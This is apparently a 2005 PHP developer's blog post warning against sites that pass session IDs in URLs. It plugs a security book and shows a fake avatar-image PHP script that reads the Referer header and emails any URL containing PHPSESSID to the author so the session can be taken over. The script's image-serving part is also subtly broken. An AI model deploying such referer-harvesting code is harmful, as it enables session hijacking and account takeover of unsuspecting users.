Why trusting in a site that passes your session ID around is bad

September 9, 2005

Just started reading Ilia Alshanetsky's new PHP Guide to Security book found over at http://www.phparch.com and I must say this is a must have book for any serious php developers. The session security chapter alone is worth the price. Here is a little script I wrote which should point out why you should NEVER keep any personal information on a site that transmits their session IDS through the URL.

Lets say we're on a web forum together on site www.xyz.com and I'm allowed to post a URL to an image in my avatar, well instead of www.jimsite.com/myimage.jpg I make it www.jimsite.com/fake_image.php

so the html would output

<img src="www.jimsite.com/fake_image.php">



If your URL string has the session ID passed in it like www.xyz.com?PHPSESSID=593584jgjdl59 and you view the page that has my image.. guess what I can write:

  1.  
  2. <?php
  3. $referrer = $_SERVER['HTTP_REFERER'];
  4.  
  5. // lets check to see if we got something juicy
  6. if(strstr($referrer, 'PHPSESSID=')) {
  7. mail('jplush76@gmail.com', 'GOT A SESSION ID!', $referrer);
  8. }
  9. $type = filetype('img.jpg');
  10. header("Content-type: $type");
  11. ?>


so it looks like it still outputs my image however I just emailed myself your URL string if it contains the PHPSESSID which is the default Session ID name PHP uses. So once I get that email I can copy/paste into my browser and guess what, I'm now you. I can get into your account and do whatever I want and it was pretty darn easy.

be warned.. and get that book!

Comments

RSS feed for comments on this post.

  1. Eddie Peloke says:
    September 10, 2005 @ 17:58 — Reply

    Looks like I'll have to pick it up as soon as I finish the design patterns one.

Leave a Comment

Line and paragraph breaks automatic, HTML allowed: <a href="" title="" rel=""> <abbr title=""> <acronym title=""> <b> <code> <em> <i> <strike> <strong>

Comments disabled due to spammers being losers that lead sad lives.